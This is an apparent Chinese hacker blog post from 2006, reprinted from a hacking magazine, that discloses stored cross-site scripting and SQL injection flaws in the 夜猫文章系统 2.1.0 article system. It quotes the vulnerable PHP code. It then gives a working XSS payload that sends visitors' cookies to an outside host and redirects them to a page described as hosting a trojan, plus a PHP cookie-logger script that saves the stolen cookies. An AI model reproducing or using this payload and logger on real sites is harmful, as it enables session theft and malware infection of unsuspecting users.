2006-01-03 09:16:39 by: h4x0r

夜猫文章系统Version 2.1.0跨站及注入漏洞

Font Size: Large | Medium | Small
文章已发表于<<黑客x档案>>2006年第一期

跨站漏洞:夜猫文章系统的代码量不是很大,那我们就从最基本的开始吧,打开注册页面register.php看到如下代码
if ($_POST[action] == "adduser"):

?>

<br><br><br><center><table cellpadding=4 cellspacing=1 border=0 width=70%>
<tr><td bgcolor=#878787 align=center>
<font color=white>用户注册登记</font>
</td></tr>
<tr><td bgcolor=#efefef>

<?
  $birthday = $b_year."-".$b_month."-".$b_day;
register($setting[user_reg_usergroupid],$_POST[username],$_POST[password],$_POST[email],$_POST[sex],$_POST[birthday],$_POST[homepage],$_POST[icq],$_POST[oicq],$_POST[race],$_POST[signature],$_POST[ipaddress],$_POST[realname],$_POST[realname1],$_POST[organization],$_POST[organization1],$_POST[country],$_POST[country1],$_POST[province],$_POST[province1],$_POST[city],$_POST[city1],$_POST[address],$_POST[address1],$_POST[zip],$_POST[phone],$_POST[fax],$_POST[idnumber],$_POST[referrerid]);
?>
是用一个专门的函数register()来进行提交,大概看了一下提交的变量,第一个user_reg_usergroupid好象有点名堂可惜不是我们提交的,而且我们也不能伪造,那我们就看看这个注册函数怎么定义的,打开function.php看到如下代码(代码太长这里只给出关键的语句):
$sql = "INSERT INTO $ymcity_user_table (usergroupid,username,password,email,sex,birthday,homepage,icq,oicq,race,experience,money,signature,joindate,ipaddress,realname,realname1,organization,organization1,country,country1,province,province1,city,city1,address,address1,zip,phone,fax,idnumber,referrerid) VALUES (’$usergroupid’,’$username’,’$password’,’$email’,’$sex’,’$birthday’,’$homepage’,’$icq’,’$oicq’,’$race’,’$experience’,’$money’,’$signature’,’$timenow’,’$ipaddress’,’$realname’,’$realname1’,’$organization’,’$organization1’,’$country’,’$country1’,’$province’,’$province1’,’$city’,’$city1’,’$address’,’$address1’,’$zip’,’$phone’,’$fax’,’$idnumber’,’$referrerid’)";
mysql_db_query($dbname,$sql);
函数直接获取我们提交的变量然后就大大方方的插入到数据库里了,并没有任何想过滤的意思,这样当我们注册资料时,所有提交都会原封不动的写进数据库里,当我们尝试访问注册信息时,如果我们写的是跨站代码,就会被浏览器就会解析掉,漏洞就产生了
--------------------------------------------
利用方法:<div>标记可以包围任意种类的HTML标记,它会对处于它起始标记到结束标记之间的所有标记起作用,对<script>当然也可以了,我们可以这样写,为了让大家看清楚我把功能分开写
<div align=center><script>windows.open(’http://www.21o.net/cookie.php?’+document.cookie);</script>
<script>alert(’X档案的地盘!’);self.location=’http://www.hackerxfiles.com/muma.htm/’;</script></div>
其中http://www.21o.net/cookie.php是假设我们偷cookie的页面,cookie.php代码如下:
<?php
$cookie=getenv("QUERY_STRING");
 if($cookie){
 $cookie=urldecode($cookie);}
 $fp=@fopen("xY7.txt","a+");
 @fwrite($fp,$cookie;"\n");
 @fclose($fp);
?>

这样我们偷的cookie就会写到xY7.txt里了,之后会谈出一个提示框,点确定后就会转到我们假设挂马的页面http://www.xxxx.com/muma.htm了.

注入漏洞:漏洞页面article.php第36行开始,代码如下:
if ($_GET[articleid] > "0"):
$sql = "SELECT * FROM $ymcity_article_table WHERE articleid=’$_GET[articleid]’";
$result = mysql_db_query($dbname, $sql);
row = mysql_fetch_array($result);
程序并没有过滤articleid这个变量,我们就可以随便注了...
[Last Modified By h4x0r, at 2007-02-19 21:14:14]
Comments Feed Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=457

There is no comment on this article.

Post Comment
Smilies
[smile] [confused] [cool] [cry]
[eek] [angry] [wink] [sweat]
[lol] [stun] [razz] [redface]
[rolleyes] [sad] [yes] [no]
[heart] [star] [music] [idea]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code